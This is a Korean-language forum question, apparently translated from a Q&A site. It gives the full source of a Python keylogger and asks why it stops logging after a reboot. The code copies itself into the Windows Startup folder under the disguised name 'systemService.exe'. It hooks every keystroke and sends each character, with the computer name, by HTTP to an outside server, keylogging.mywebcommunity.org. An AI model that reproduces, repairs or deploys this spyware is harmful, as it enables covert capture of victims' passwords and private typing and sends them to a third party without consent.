파이썬 키로거

파이썬 키로거

시작 시 자동으로 실행되는 Python 키로거를 만들려고 합니다. 다음은 파이썬 코드입니다.

import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys

userName = getpass.getuser()
filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName

if os.path.exists(filePath):
    if os.path.isfile(filePath+'systemService.exe')==False:
        try:
            shutil.copy2(sys.argv[0],filePath+'systemService.exe')
        except:
            pass
def OnKeyBoardEvent(event):
    try:
        params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)})
        conn = httplib.HTTPConnection("keylogging.mywebcommunity.org")
        conn.request("GET","/index.php?"+params)
    except:
        pass
    return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyBoardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()

이 키로거는 php를 사용하여 코드에 명명된 서버에 모든 ASCII 데이터를 기록합니다. 이 pyw 파일을 실행하면 제대로 작동하지만 PC를 재부팅하면 서버의 파일에 로그인하지 않습니다. 이 프로그램이 시작 디렉토리에 있고 재부팅 후 백그라운드에서 실행되고 있는지 두 번 확인했습니다. 하지만 여전히 서버 파일에 데이터를 기록하지 않습니다.

관련 정보